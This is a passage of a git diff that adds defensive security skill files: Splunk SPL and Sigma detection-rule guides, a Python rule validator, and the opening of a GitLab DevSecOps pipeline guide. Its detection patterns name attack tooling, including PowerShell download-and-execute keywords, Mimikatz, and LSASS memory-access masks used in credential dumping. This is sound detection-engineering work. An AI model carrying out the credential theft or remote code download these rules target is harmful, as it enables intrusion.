"(?i)(svchost|csrss|lsass|services)") +``` + +### Use Summary Indexing for Historical Baselines + +```spl +| tstats count from datamodel=Authentication where Authentication.action=failure by Authentication.src, _time span=1h +| collect index=summary source="auth_failure_baseline" marker="report_name=auth_failure_hourly" +``` + +## Testing and Validation + +### Test Against Known Attack Patterns + +```spl +| makeresults count=1 +| eval src_ip="10.0.0.50", failed_logins=25, unique_users=8, severity="high" +| eval description="Test brute force detection" +| append [ + search index=wineventlog sourcetype=WinEventLog:Security EventCode=4625 + earliest=-24h latest=now() + | stats count as failed_logins dc(TargetUserName) as unique_users by src_ip + | where failed_logins > 10 AND unique_users > 3 + | eval severity="high" +] +``` + +### Calculate Detection Metrics + +```spl +index=notable +| search rule_name="Brute Force*" +| stats count as total_alerts count(eval(status_label="Closed - True Positive")) as true_positives count(eval(status_label="Closed - False Positive")) as false_positives by rule_name +| eval precision=round(true_positives / (true_positives + false_positives) * 100, 2) +| eval fpr=round(false_positives / total_alerts * 100, 2) +``` + +## MITRE ATT&CK Mapping + +| Technique ID | Technique Name | SPL Detection Approach | +|---|---|---| +| T1110.001 | Password Guessing | Threshold on EventCode 4625 by src_ip | +| T1059.001 | PowerShell | Pattern match on EventCode 4104 ScriptBlockText | +| T1021.002 | SMB/Windows Admin Shares | Logon Type 3 with dc(dest) threshold | +| T1048 | Exfiltration Over C2 | bytes_out aggregation over time window | +| T1053.005 | Scheduled Task | EventCode 4698 with suspicious command patterns | +| T1003.001 | LSASS Memory | Process access to lsass.exe via Sysmon EventCode 10 | + +## References + +- [Splunk ES Correlation Searches Best Practices](https://detect.fyi/splunk-es-correlation-searches-rules-best-cool-practices-06ef94884170) +- [Writing Practical Splunk Detection Rules](https://medium.com/@vitbukac/practical-splunk-detection-rules-how-to-part-1-crawl-a24bc39a4b9d) +- [Configure Correlation Searches - Splunk Documentation](https://help.splunk.com/en/splunk-enterprise-security-8/splunk-app-for-pci-compliance/installation-and-configuration-manual/6.1/configure-correlation-searches/configure-correlation-searches) +- [SOC Prime - Correlation Events in Splunk](https://socprime.com/blog/creating-correlation-events-in-splunk-using-alerts/) diff --git a/skills/building-detection-rule-with-splunk-spl/assets/template.md b/skills/building-detection-rule-with-splunk-spl/assets/template.md new file mode 100644 index 00000000..592ff6e2 --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/assets/template.md @@ -0,0 +1,99 @@ +# Splunk SPL Detection Rule Template + +## Rule Metadata + +| Field | Value | +|---|---| +| Rule Name | | +| Rule ID | | +| Description | | +| Author | | +| Date Created | | +| Last Modified | | +| Severity | | +| MITRE ATT&CK | | +| Data Sources | | +| Status | Draft / Testing / Production / Retired | + +## SPL Query + +```spl +| tstats summariesonly=true count + from datamodel= + where + by , _time span= +| rename ".*" as * +| stats by +| where +| lookup asset_lookup ip as src OUTPUT asset_name, asset_priority +| lookup identity_lookup identity as user OUTPUT department, manager +| eval severity=case(, "critical", , "high", true(), "medium") +| eval description="" +| eval mitre_technique="" +``` + +## Detection Logic + +### What This Rule Detects + + +### Data Sources Required + + +| Source | Sourcetype | Index | Required Fields | +|---|---|---|---| +| | | | | + +### Threshold Justification + + +### Enrichment Details + + +## Testing Plan + +### True Positive Test + + +``` +Step 1: +Step 2: +Step 3: +Expected Result: +``` + +### False Positive Analysis + + +| Scenario | Source | Mitigation | +|---|---|---| +| | | | + +## Tuning History + +| Date | Change | Reason | Impact | +|---|---|---|---| +| | | | | + +## Correlation Search Configuration + +``` +Schedule: */15 * * * * +Time Window: earliest=-20m latest=now +Suppress: 1h by src_ip +Notable Event Security Domain: threat +Adaptive Response: +``` + +## Analyst Guidance + +### Triage Steps +1. +2. +3. + +### Escalation Criteria +- + +### Related Rules +- diff --git a/skills/building-detection-rule-with-splunk-spl/references/standards.md b/skills/building-detection-rule-with-splunk-spl/references/standards.md new file mode 100644 index 00000000..c2f30312 --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/references/standards.md @@ -0,0 +1,68 @@ +# Standards and References - Splunk SPL Detection Rules + +## Industry Standards + +### MITRE ATT&CK Framework +- Primary mapping standard for detection rule categorization +- Version 18.1 (December 2025) is the latest release +- Use ATT&CK Navigator for visual coverage mapping + +### Splunk Common Information Model (CIM) +- Standard field naming convention for normalized data +- Data models: Authentication, Network_Traffic, Endpoint, Web, Email +- Enables cross-sourcetype correlation searches + +### NIST SP 800-92 - Guide to Computer Security Log Management +- Log management planning and policy guidance +- Defines log collection, analysis, and retention best practices + +### NIST SP 800-61 Rev 2 - Computer Security Incident Handling Guide +- Incident detection and analysis procedures +- Defines severity classification for generated alerts + +## Splunk Enterprise Security Resources + +### Correlation Search Framework +- Supports scheduled searches with adaptive response actions +- Risk-based alerting (RBA) aggregates risk events by entity +- Notable events are the primary output for SOC analyst review + +### Data Model Acceleration +- tstats provides fast summary-based searching +- Accelerated data models required for production correlation searches +- CIM compliance ensures cross-source detection capability + +### Key Splunk SPL Commands for Detection + +| Command | Purpose | +|---|---| +| `stats` | Aggregate events by fields | +| `tstats` | Fast search over accelerated data models | +| `eventstats` | Add aggregated stats inline to events | +| `streamstats` | Running statistics over ordered events | +| `transaction` | Group related events into transactions | +| `lookup` | Enrich events with external data | +| `where` | Filter results with boolean expressions | +| `eval` | Create calculated fields | + +## Detection Engineering Maturity Model + +### Level 1 - Basic Threshold Rules +- Simple count-based thresholds +- Single data source correlation + +### Level 2 - Multi-Source Correlation +- Cross-source event correlation +- Asset and identity enrichment + +### Level 3 - Behavioral Analytics +- Baseline deviation detection +- User and entity behavior profiling + +### Level 4 - Risk-Based Alerting +- Cumulative risk scoring per entity +- Context-aware severity assignment + +### Level 5 - Automated Response +- Adaptive response action integration +- SOAR playbook triggering from notable events diff --git a/skills/building-detection-rule-with-splunk-spl/references/workflows.md b/skills/building-detection-rule-with-splunk-spl/references/workflows.md new file mode 100644 index 00000000..f1b38847 --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/references/workflows.md @@ -0,0 +1,93 @@ +# Workflows - Building Detection Rules with Splunk SPL + +## Detection Rule Development Workflow + +``` +1. Identify Threat Scenario + | + v +2. Map to MITRE ATT&CK Technique + | + v +3. Identify Required Data Sources + | + v +4. Validate Data Availability in Splunk + | + v +5. Write Base SPL Query + | + v +6. Add Aggregation and Filtering + | + v +7. Add Enrichment (Lookups, Threat Intel) + | + v +8. Test Against Historical Data + | + v +9. Calculate False Positive Rate + | + v +10. Deploy as Correlation Search + | + v +11. Monitor Detection Metrics + | + v +12. Tune and Iterate +``` + +## Rule Testing Workflow + +### Phase 1: Development +- Write SPL query in Search & Reporting +- Test with `earliest=-7d latest=now()` +- Verify expected events are captured + +### Phase 2: Validation +- Run Atomic Red Team tests to generate known-bad events +- Confirm detection triggers on simulated attacks +- Check no duplicate or redundant notable events generated + +### Phase 3: Tuning +- Identify false positives from 7-day burn-in period +- Add exclusions for known benign activity +- Adjust thresholds based on environment baseline + +### Phase 4: Production +- Schedule as correlation search in ES +- Configure adaptive response actions +- Set notable event severity and urgency mapping + +## Correlation Search Scheduling Guide + +| Rule Severity | Schedule Interval | Time Window | +|---|---|---| +| Critical | Every 5 minutes | 10 minutes | +| High | Every 15 minutes | 20 minutes | +| Medium | Every 30 minutes | 35 minutes | +| Low | Every 60 minutes | 65 minutes | +| Informational | Every 4 hours | 4.5 hours | + +Note: Time window should slightly exceed schedule interval to prevent event gaps. + +## Alert Output Workflow + +``` +Correlation Search Fires + | + v +Notable Event Created in ES + | + v +SOC Analyst Reviews in Incident Review Dashboard + | + v +Analyst Triages: True Positive / False Positive / Needs Investigation + | + v +True Positive --> Create Investigation --> Escalate if needed +False Positive --> Document exclusion --> Update correlation search +``` diff --git a/skills/building-detection-rule-with-splunk-spl/scripts/process.py b/skills/building-detection-rule-with-splunk-spl/scripts/process.py new file mode 100644 index 00000000..1731af57 --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/scripts/process.py @@ -0,0 +1,338 @@ +#!/usr/bin/env python3 +""" +Splunk SPL Detection Rule Builder and Validator + +Generates, validates, and manages Splunk SPL detection rules +for SOC correlation searches. Supports MITRE ATT&CK mapping +and rule quality scoring. +""" + +import json +import re +import hashlib +from datetime import datetime +from typing import Optional + + +MITRE_TECHNIQUES = { + "T1110.001": {"name": "Password Guessing", "tactic": "Credential Access"}, + "T1110.003": {"name": "Password Spraying", "tactic": "Credential Access"}, + "T1059.001": {"name": "PowerShell", "tactic": "Execution"}, + "T1059.003": {"name": "Windows Command Shell", "tactic": "Execution"}, + "T1021.002": {"name": "SMB/Windows Admin Shares", "tactic": "Lateral Movement"}, + "T1021.001": {"name": "Remote Desktop Protocol", "tactic": "Lateral Movement"}, + "T1048": {"name": "Exfiltration Over C2 Channel", "tactic": "Exfiltration"}, + "T1048.003": {"name": "Exfiltration Over Unencrypted Protocol", "tactic": "Exfiltration"}, + "T1053.005": {"name": "Scheduled Task", "tactic": "Persistence"}, + "T1003.001": {"name": "LSASS Memory", "tactic": "Credential Access"}, + "T1078": {"name": "Valid Accounts", "tactic": "Defense Evasion"}, + "T1078.002": {"name": "Domain Accounts", "tactic": "Defense Evasion"}, + "T1547.001": {"name": "Registry Run Keys", "tactic": "Persistence"}, + "T1055": {"name": "Process Injection", "tactic": "Defense Evasion"}, + "T1071.001": {"name": "Web Protocols", "tactic": "Command and Control"}, + "T1036.005": {"name": "Match Legitimate Name", "tactic": "Defense Evasion"}, + "T1027": {"name": "Obfuscated Files or Information", "tactic": "Defense Evasion"}, + "T1218.011": {"name": "Rundll32", "tactic": "Defense Evasion"}, + "T1543.003": {"name": "Windows Service", "tactic": "Persistence"}, + "T1105": {"name": "Ingress Tool Transfer", "tactic": "Command and Control"}, +} + + +class SplunkDetectionRule: + """Represents a Splunk SPL detection rule with metadata and validation.""" + + def __init__( + self, + name: str, + description: str, + spl_query: str, + mitre_techniques: list, + severity: str = "medium", + schedule_cron: str = "*/15 * * * *", + time_window: str = "-20m", + data_sources: Optional[list] = None, + false_positive_notes: Optional[list] = None, + ): + self.name = name + self.description = description + self.spl_query = spl_query + self.mitre_techniques = mitre_techniques + self.severity = severity + self.schedule_cron = schedule_cron + self.time_window = time_window + self.data_sources = data_sources or [] + self.false_positive_notes = false_positive_notes or [] + self.created = datetime.utcnow().isoformat() + self.rule_id = self._generate_rule_id() + + def _generate_rule_id(self) -> str: + hash_input = f"{self.name}:{self.spl_query}" + return f"SPL-{hashlib.sha256(hash_input.encode()).hexdigest()[:12].upper()}" + + def validate(self) -> dict: + """Validate the SPL detection rule for common issues.""" + issues = [] + score = 100 + + # Check for missing time constraint + if "earliest=" not in self.spl_query and "span=" not in self.spl_query: + issues.append("WARNING: No time constraint in query - may scan too much data") + score -= 10 + + # Check for wildcard-heavy searches + wildcard_count = self.spl_query.count("*") + if wildcard_count > 5: + issues.append(f"WARNING: {wildcard_count} wildcards detected - may impact performance") + score -= 5 * min(wildcard_count - 5, 4) + + # Check for aggregation + agg_commands = ["stats", "eventstats", "streamstats", "tstats", "chart", "timechart"] + has_aggregation = any(cmd in self.spl_query.lower() for cmd in agg_commands) + if not has_aggregation: + issues.append("WARNING: No aggregation command - rule may generate excessive alerts") + score -= 15 + + # Check for threshold + if "where" not in self.spl_query.lower(): + issues.append("WARNING: No where clause - rule has no threshold filtering") + score -= 15 + + # Check for enrichment + if "lookup" not in self.spl_query.lower(): + issues.append("INFO: No lookup enrichment - consider adding asset/identity context") + score -= 5 + + # Check MITRE mapping + if not self.mitre_techniques: + issues.append("WARNING: No MITRE ATT&CK technique mapped") + score -= 10 + + for tech_id in self.mitre_techniques: + if tech_id not in MITRE_TECHNIQUES: + issues.append(f"WARNING: Unknown MITRE technique ID: {tech_id}") + score -= 5 + + # Check severity is valid + valid_severities = ["informational", "low", "medium", "high", "critical"] + if self.severity not in valid_severities: + issues.append(f"ERROR: Invalid severity '{self.severity}' - must be one of {valid_severities}") + score -= 20 + + # Check for eval description + if "eval description" not in self.spl_query.lower() and "eval rule_description" not in self.spl_query.lower(): + issues.append("INFO: No description field in output - analysts will lack context") + score -= 5 + + # Check for CIM data model usage + if "datamodel=" in self.spl_query.lower() or "tstats" in self.spl_query.lower(): + score += 5 # Bonus for using CIM-accelerated searches + + return { + "rule_id": self.rule_id, + "rule_name": self.name, + "valid": score >= 60, + "quality_score": max(0, min(100, score)), + "issues": issues, + "issue_count": len(issues), + } + + def to_splunk_savedsearch_conf(self) -> str: + """Generate Splunk savedsearches.conf stanza for the rule.""" + mitre_str = ", ".join(self.mitre_techniques) + stanza = f"""[{self.name}] +search = {self.spl_query} +description = {self.description} +dispatch.earliest_time = {self.time_window} +dispatch.latest_time = now +cron_schedule = {self.schedule_cron} +is_scheduled = 1 +enableSched = 1 +alert.severity = {self._severity_to_int()} +alert.suppress = 1 +alert.suppress.period = 1h +alert.suppress.fields = src_ip +action.notable = 1 +action.notable.param.rule_title = {self.name} +action.notable.param.rule_description = {self.description} +action.notable.param.severity = {self.severity} +action.notable.param.security_domain = threat +action.notable.param.drilldown_name = View triggering events +action.notable.param.drilldown_search = {self.spl_query} +action.notable.param.mitre_attack = {mitre_str} +""" + return stanza + + def _severity_to_int(self) -> int: + mapping = {"informational": 1, "low": 2, "medium": 3, "high": 4, "critical": 5} + return mapping.get(self.severity, 3) + + def to_json(self) -> str: + return json.dumps( + { + "rule_id": self.rule_id, + "name": self.name, + "description": self.description, + "spl_query": self.spl_query, + "mitre_techniques": self.mitre_techniques, + "severity": self.severity, + "schedule_cron": self.schedule_cron, + "time_window": self.time_window, + "data_sources": self.data_sources, + "false_positive_notes": self.false_positive_notes, + "created": self.created, + }, + indent=2, + ) + + +class DetectionRuleLibrary: + """Manages a collection of Splunk detection rules.""" + + def __init__(self): + self.rules = [] + + def add_rule(self, rule: SplunkDetectionRule): + self.rules.append(rule) + + def validate_all(self) -> dict: + results = {"total_rules": len(self.rules), "valid_rules": 0, "invalid_rules": 0, "details": []} + for rule in self.rules: + validation = rule.validate() + results["details"].append(validation) + if validation["valid"]: + results["valid_rules"] += 1 + else: + results["invalid_rules"] += 1 + return results + + def get_mitre_coverage(self) -> dict: + coverage = {} + for rule in self.rules: + for tech_id in rule.mitre_techniques: + if tech_id not in coverage: + coverage[tech_id] = { + "technique": MITRE_TECHNIQUES.get(tech_id, {}).get("name", "Unknown"), + "tactic": MITRE_TECHNIQUES.get(tech_id, {}).get("tactic", "Unknown"), + "rules": [], + } + coverage[tech_id]["rules"].append(rule.name) + return { + "techniques_covered": len(coverage), + "total_known_techniques": len(MITRE_TECHNIQUES), + "coverage_percentage": round(len(coverage) / len(MITRE_TECHNIQUES) * 100, 1), + "coverage_map": coverage, + } + + def export_savedsearches_conf(self) -> str: + output = "# Auto-generated Splunk savedsearches.conf\n" + output += f"# Generated: {datetime.utcnow().isoformat()}\n" + output += f"# Total Rules: {len(self.rules)}\n\n" + for rule in self.rules: + output += rule.to_splunk_savedsearch_conf() + "\n" + return output + + +def build_sample_detection_library() -> DetectionRuleLibrary: + """Build a sample detection rule library with common SOC use cases.""" + library = DetectionRuleLibrary() + + library.add_rule( + SplunkDetectionRule( + name="Brute Force - Multiple Failed Logins", + description="Detects brute force attacks with multiple failed login attempts from a single source", + spl_query=( + '| tstats summariesonly=true count from datamodel=Authentication ' + 'where Authentication.action=failure by Authentication.src, Authentication.user, _time span=5m ' + '| rename "Authentication.*" as * ' + '| stats count as total_failures dc(user) as unique_users values(user) as targeted_users by src ' + '| where total_failures > 20 AND unique_users > 3 ' + '| lookup asset_lookup ip as src OUTPUT priority as asset_priority ' + '| eval severity=case(unique_users > 10, "critical", unique_users > 5, "high", true(), "medium") ' + '| eval description="Brute force detected from ".src." targeting ".unique_users." accounts"' + ), + mitre_techniques=["T1110.001"], + severity="high", + schedule_cron="*/5 * * * *", + time_window="-10m", + data_sources=["Windows Security Event Log", "Linux Auth Log"], + false_positive_notes=["Service accounts with expired passwords", "Misconfigured applications"], + ) + ) + + library.add_rule( + SplunkDetectionRule( + name="Suspicious PowerShell Execution", + description="Detects encoded or obfuscated PowerShell commands indicating potential malicious activity", + spl_query=( + 'index=wineventlog sourcetype=WinEventLog:Security EventCode=4104 ' + '| where match(ScriptBlockText, "(?i)(encodedcommand|invoke-expression|iex|downloadstring|frombase64string|net\\.webclient|invoke-mimikatz)") ' + '| stats count values(ScriptBlockText) as commands by Computer, UserName ' + '| where count > 0 ' + '| lookup identity_lookup identity as UserName OUTPUT department, manager ' + '| eval severity="high" ' + '| eval description="Suspicious PowerShell on ".Computer." by ".UserName' + ), + mitre_techniques=["T1059.001", "T1027"], + severity="high", + data_sources=["Windows PowerShell Script Block Logging"], + false_positive_notes=["IT automation scripts using encoded commands", "SCCM deployment scripts"], + ) + ) + + library.add_rule( + SplunkDetectionRule( + name="Lateral Movement - Multiple Host Access", + description="Detects a user or source IP accessing an unusual number of hosts via network logon", + spl_query=( + '| tstats summariesonly=true dc(Authentication.dest) as unique_hosts ' + 'from datamodel=Authentication where Authentication.action=success Authentication.Logon_Type=3 ' + 'by Authentication.src, Authentication.user, _time span=1h ' + '| rename "Authentication.*" as * ' + '| where unique_hosts > 5 ' + '| lookup asset_lookup ip as src OUTPUT asset_name, asset_category ' + '| eval severity=case(unique_hosts > 20, "critical", unique_hosts > 10, "high", true(), "medium") ' + '| eval description=user." accessed ".unique_hosts." hosts from ".src." in 1 hour"' + ), + mitre_techniques=["T1021.002", "T1078.002"], + severity="high", + data_sources=["Windows Security Event Log"], + false_positive_notes=["Vulnerability scanners", "IT management tools", "Software deployment systems"], + ) + ) + + return library + + +if __name__ == "__main__": + library = build_sample_detection_library() + + print("=" * 70) + print("SPLUNK SPL DETECTION RULE LIBRARY") + print("=" * 70) + + # Validate all rules + validation = library.validate_all() + print(f"\nTotal Rules: {validation['total_rules']}") + print(f"Valid Rules: {validation['valid_rules']}") + print(f"Invalid Rules: {validation['invalid_rules']}") + + for detail in validation["details"]: + print(f"\n--- {detail['rule_name']} ---") + print(f" Rule ID: {detail['rule_id']}") + print(f" Quality Score: {detail['quality_score']}/100") + print(f" Valid: {detail['valid']}") + for issue in detail["issues"]: + print(f" {issue}") + + # MITRE coverage + coverage = library.get_mitre_coverage() + print(f"\nMITRE ATT&CK Coverage: {coverage['techniques_covered']}/{coverage['total_known_techniques']} ({coverage['coverage_percentage']}%)") + for tech_id, info in coverage["coverage_map"].items(): + print(f" {tech_id} ({info['technique']}): {', '.join(info['rules'])}") + + # Export savedsearches.conf + conf = library.export_savedsearches_conf() + print(f"\n{'=' * 70}") + print("GENERATED savedsearches.conf") + print("=" * 70) + print(conf) diff --git a/skills/building-detection-rules-with-sigma/SKILL.md b/skills/building-detection-rules-with-sigma/SKILL.md new file mode 100644 index 00000000..dc82ecf0 --- /dev/null +++ b/skills/building-detection-rules-with-sigma/SKILL.md @@ -0,0 +1,311 @@ +--- +name: building-detection-rules-with-sigma +description: > + Builds vendor-agnostic detection rules using the Sigma rule format for threat detection across + SIEM platforms including Splunk, Elastic, and Microsoft Sentinel. Use when creating portable + detection logic from threat intelligence, mapping rules to MITRE ATT&CK techniques, or converting + community Sigma rules into platform-specific queries using sigmac or pySigma backends. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, sigma, detection-rules, siem, mitre-attack, splunk, elastic, sentinel] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Detection Rules with Sigma + +## When to Use + +Use this skill when: +- SOC engineers need to create detection rules portable across multiple SIEM platforms +- Threat intelligence reports describe TTPs requiring new detection coverage +- Existing vendor-specific rules need standardization into a shareable format +- The team adopts Sigma as a detection-as-code standard in CI/CD pipelines + +**Do not use** for real-time streaming detection (Sigma is for batch/scheduled searches) or when the target SIEM has native detection features that Sigma cannot express (e.g., Splunk RBA risk scoring). + +## Prerequisites + +- Python 3.8+ with `pySigma` and appropriate backend (`pySigma-backend-splunk`, `pySigma-backend-elasticsearch`, `pySigma-backend-microsoft365defender`) +- Sigma rule repository cloned: `git clone https://github.com/SigmaHQ/sigma.git` +- MITRE ATT&CK framework knowledge for technique mapping +- Understanding of target SIEM log source field mappings + +## Workflow + +### Step 1: Define Detection Logic from Threat Intelligence + +Start with a threat report or ATT&CK technique. Example: detecting Mimikatz credential dumping (T1003.001 — LSASS Memory): + +```yaml +title: Mimikatz Credential Dumping via LSASS Access +id: 0d894093-71bc-43c3-8d63-bf520e73a7c5 +status: stable +level: high +description: Detects process accessing lsass.exe memory, indicative of credential dumping tools like Mimikatz +references: + - https://attack.mitre.org/techniques/T1003/001/ + - https://github.com/gentilkiwi/mimikatz +author: mahipal +date: 2024/03/15 +modified: 2024/03/15 +tags: + - attack.credential_access + - attack.t1003.001 +logsource: + category: process_access + product: windows +detection: + selection: + TargetImage|endswith: '\lsass.exe' + GrantedAccess|contains: + - '0x1010' + - '0x1038' + - '0x1fffff' + - '0x40' + filter_main_svchost: + SourceImage|endswith: '\svchost.exe' + filter_main_csrss: + SourceImage|endswith: '\csrss.exe' + filter_main_wininit: + SourceImage|endswith: '\wininit.exe' + condition: selection and not 1 of filter_main_* +falsepositives: + - Legitimate security tools accessing LSASS + - Windows Defender scanning + - CrowdStrike Falcon sensor +``` + +### Step 2: Validate Sigma Rule Syntax + +Use `sigma check` to validate the rule: + +```bash +# Install pySigma and validators +pip install pySigma pySigma-validators-sigmaHQ + +# Validate rule +sigma check rule.yml +``` + +Alternatively, validate with Python: + +```python +from sigma.rule import SigmaRule +from sigma.validators.core import SigmaValidator + +rule = SigmaRule.from_yaml(open("rule.yml").read()) +validator = SigmaValidator() +issues = validator.validate_rule(rule) +for issue in issues: + print(f"{issue.severity}: {issue.message}") +``` + +### Step 3: Convert to Target SIEM Query + +**Convert to Splunk SPL:** + +```python +from sigma.rule import SigmaRule +from sigma.backends.splunk import SplunkBackend +from sigma.pipelines.splunk import splunk_windows_pipeline + +pipeline = splunk_windows_pipeline() +backend = SplunkBackend(pipeline) + +rule = SigmaRule.from_yaml(open("rule.yml").read()) +splunk_query = backend.convert_rule(rule) +print(splunk_query[0]) +``` + +Output: +```spl +TargetImage="*\\lsass.exe" (GrantedAccess="*0x1010*" OR GrantedAccess="*0x1038*" +OR GrantedAccess="*0x1fffff*" OR GrantedAccess="*0x40*") +NOT (SourceImage="*\\svchost.exe") NOT (SourceImage="*\\csrss.exe") +NOT (SourceImage="*\\wininit.exe") +``` + +**Convert to Elastic Query (Lucene):** + +```python +from sigma.backends.elasticsearch import LuceneBackend +from sigma.pipelines.elasticsearch import ecs_windows_pipeline + +pipeline = ecs_windows_pipeline() +backend = LuceneBackend(pipeline) +elastic_query = backend.convert_rule(rule) +print(elastic_query[0]) +``` + +**Convert to Microsoft Sentinel KQL:** + +```python +from sigma.backends.microsoft365defender import Microsoft365DefenderBackend + +backend = Microsoft365DefenderBackend() +kql_query = backend.convert_rule(rule) +print(kql_query[0]) +``` + +### Step 4: Map to MITRE ATT&CK and Add Coverage Metadata + +Tag every rule with ATT&CK technique IDs in the `tags` field: + +```yaml +tags: + - attack.credential_access # Tactic + - attack.t1003.001 # Sub-technique + - attack.t1003 # Parent technique +``` + +Track detection coverage using the ATT&CK Navigator: + +```python +import json + +# Generate ATT&CK Navigator layer from Sigma rules +layer = { + "name": "SOC Detection Coverage", + "versions": {"attack": "14", "navigator": "4.9", "layer": "4.5"}, + "domain": "enterprise-attack", + "techniques": [] +} + +# Parse Sigma rules directory for technique tags +import os +from sigma.rule import SigmaRule + +for root, dirs, files in os.walk("sigma/rules/windows/"): + for f in files: + if f.endswith(".yml"): + rule = SigmaRule.from_yaml(open(os.path.join(root, f)).read()) + for tag in rule.tags: + if str(tag).startswith("attack.t"): + technique_id = str(tag).replace("attack.", "").upper() + layer["techniques"].append({ + "techniqueID": technique_id, + "color": "#31a354", + "score": 1 + }) + +with open("coverage_layer.json", "w") as f: + json.dump(layer, f, indent=2) +``` + +### Step 5: Test Rule Against Sample Data + +Create test data and validate the rule catches the expected events: + +```bash +# Use sigma test framework +sigma test rule.yml --target splunk --pipeline splunk_windows + +# Or manually test in Splunk with sample data +# Upload Sysmon process_access log with known Mimikatz signature +``` + +Validate false positive rate by running against 7 days of production data in a non-alerting saved search. + +### Step 6: Deploy to Production SIEM + +Deploy the converted query as a scheduled search or correlation rule: + +**Splunk ES Correlation Search:** +```spl +| tstats summariesonly=true count from datamodel=Endpoint.Processes + where Processes.process_name="*\\lsass.exe" + by Processes.src, Processes.user, Processes.process_name, Processes.parent_process_name +| `drop_dm_object_name(Processes)` +| where count > 0 +``` + +**Elastic Security Rule (TOML format):** +```toml +[rule] +name = "LSASS Memory Access - Credential Dumping" +description = "Detects suspicious access to LSASS process memory" +risk_score = 73 +severity = "high" +type = "eql" +query = ''' +process where event.action == "access" and + process.name == "lsass.exe" and + not process.executable : ("*\\svchost.exe", "*\\csrss.exe") +''' + +[rule.threat] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +``` + +### Step 7: Version Control and CI/CD Integration + +Store rules in Git with automated testing: + +```yaml +# .github/workflows/sigma-ci.yml +name: Sigma Rule CI +on: [push, pull_request] +jobs: + validate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + - run: pip install pySigma pySigma-validators-sigmaHQ + - run: sigma check rules/ + - run: sigma convert -t splunk -p splunk_windows rules/ > /dev/null +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Sigma** | Vendor-agnostic detection rule format (YAML-based) that compiles to SIEM-specific queries via backends | +| **pySigma** | Python library replacing legacy sigmac for rule conversion, validation, and pipeline processing | +| **Backend** | pySigma plugin that translates Sigma detection logic into a target platform query language (SPL, KQL, Lucene) | +| **Pipeline** | Field mapping configuration that translates generic Sigma field names to SIEM-specific field names | +| **Logsource** | Sigma rule section defining the category (process_creation, network_connection) and product (windows, linux) of the target data | +| **Detection-as-Code** | Practice of managing detection rules in version control with CI/CD testing and automated deployment | + +## Tools & Systems + +- **SigmaHQ**: Official Sigma rule repository with 3,000+ community-maintained detection rules on GitHub +- **pySigma**: Python-based Sigma rule processing framework with modular backends and pipelines +- **ATT&CK Navigator**: MITRE tool for visualizing detection coverage mapped to ATT&CK techniques +- **Uncoder.IO**: Web-based Sigma rule converter supporting 30+ SIEM platforms for quick translation + +## Common Scenarios + +- **New CVE Detection**: Write Sigma rule for exploitation indicators (e.g., Log4Shell JNDI lookup patterns in web logs) +- **Hunting Rule Promotion**: Convert ad-hoc Splunk hunting query into Sigma rule for ongoing automated detection +- **Multi-SIEM Migration**: Converting 500+ Splunk correlation searches to Sigma for migration to Elastic Security +- **Purple Team Output**: Convert red team findings into Sigma rules for immediate defensive coverage +- **Threat Intel Operationalization**: Transform IOC-based threat reports into behavioral Sigma rules + +## Output Format + +``` +SIGMA RULE DEPLOYMENT REPORT +━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Rule ID: 0d894093-71bc-43c3-8d63-bf520e73a7c5 +Title: Mimikatz Credential Dumping via LSASS Access +ATT&CK: T1003.001 - LSASS Memory +Severity: High +Status: Deployed to Production + +Conversions: + Splunk SPL: PASS — Saved search "sigma_lsass_access" created + Elastic EQL: PASS — Detection rule ID elastic-0d894093 enabled + Sentinel KQL: PASS — Analytics rule deployed via ARM template + +Testing: + True Positives: 4/4 test cases matched + False Positives: 2 in 7-day backtest (svchost edge case — filter added) + Performance: Avg execution 3.2s on 50M events/day +``` diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md b/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md new file mode 100644 index 00000000..7195cb06 --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md @@ -0,0 +1,236 @@ +--- +name: building-devsecops-pipeline-with-gitlab-ci +description: Design and implement a comprehensive DevSecOps pipeline in GitLab CI/CD integrating SAST, DAST, container scanning, dependency scanning, and secret detection. +domain: cybersecurity +subdomain: devsecops +tags: [gitlab-ci, devsecops, sast, dast, container-scanning, dependency-scanning, secret-detection, cicd-security] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building DevSecOps Pipeline with GitLab CI + +## Overview + +GitLab provides an integrated DevSecOps platform that embeds security testing directly into the CI/CD pipeline. By leveraging GitLab's built-in security scanners---SAST, DAST, container scanning, dependency scanning, secret detection, and license compliance---teams can shift security left, catching vulnerabilities during development rather than post-deployment. GitLab Duo AI assists with false positive detection for SAST vulnerabilities, helping security teams focus on genuine issues. + +## Prerequisites + +- GitLab Ultimate license (required for full security scanner suite) +- GitLab Runner configured (shared or self-hosted) +- `.gitlab-ci.yml` pipeline configuration familiarity +- Docker-in-Docker (DinD) or Kaniko for container builds +- Application deployed to a staging environment for DAST scanning + +## Core Security Scanning Stages + +### Static Application Security Testing (SAST) + +SAST analyzes source code for vulnerabilities before compilation. GitLab supports 14+ languages using analyzers such as Semgrep, SpotBugs, Gosec, Bandit, and NodeJsScan. The simplest inclusion uses GitLab's managed templates. + +### Dynamic Application Security Testing (DAST) + +DAST tests running applications by simulating attack payloads against HTTP endpoints. It detects XSS, SQLi, CSRF, and other runtime vulnerabilities that static analysis cannot find. DAST requires a deployed, accessible target URL. + +### Container Scanning + +Uses Trivy to scan Docker images for known CVEs in OS packages and application dependencies. Runs after the Docker build stage to gate images before they reach a registry. + +### Dependency Scanning + +Inspects dependency manifests (package.json, requirements.txt, pom.xml, Gemfile.lock) for known vulnerable versions. Operates at the source code level, complementing container scanning. + +### Secret Detection + +Scans commits for accidentally committed credentials, API keys, tokens, and private keys using pattern matching and entropy analysis. Runs on every commit to prevent secrets from reaching the repository. + +## Implementation + +### Complete Pipeline Configuration + +```yaml +# .gitlab-ci.yml + +stages: + - build + - test + - security + - deploy-staging + - dast + - deploy-production + +variables: + 